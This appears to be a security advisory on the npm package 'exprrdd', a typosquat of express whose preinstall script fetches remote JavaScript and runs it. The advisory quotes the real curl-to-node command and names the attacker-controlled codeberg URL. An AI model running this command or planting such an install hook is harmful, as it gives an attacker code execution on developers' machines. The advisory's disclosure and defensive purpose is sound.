exprrdd

GHSA-pf56-8g6j-whr9

Malicious code in exprrdd (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3)
Package 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js` and pipes the response directly into `node`, executing attacker-controlled JavaScript on the installer's machine at `npm install` time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exprrdd/MAL-2026-17244.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exprrdd/MAL-2026-17244.json
- https://www.npmjs.com/package/exprrdd/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/exprrdd/MAL-2026-17244.json
- https://www.npmjs.com/package/exprrdd
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/exprrdd/MAL-2026-17244.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/exprrdd/MAL-2026-17244.json
- https://www.npmjs.com/package/exprrdd/v/5.2.2

Compromised versions (1)

= 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.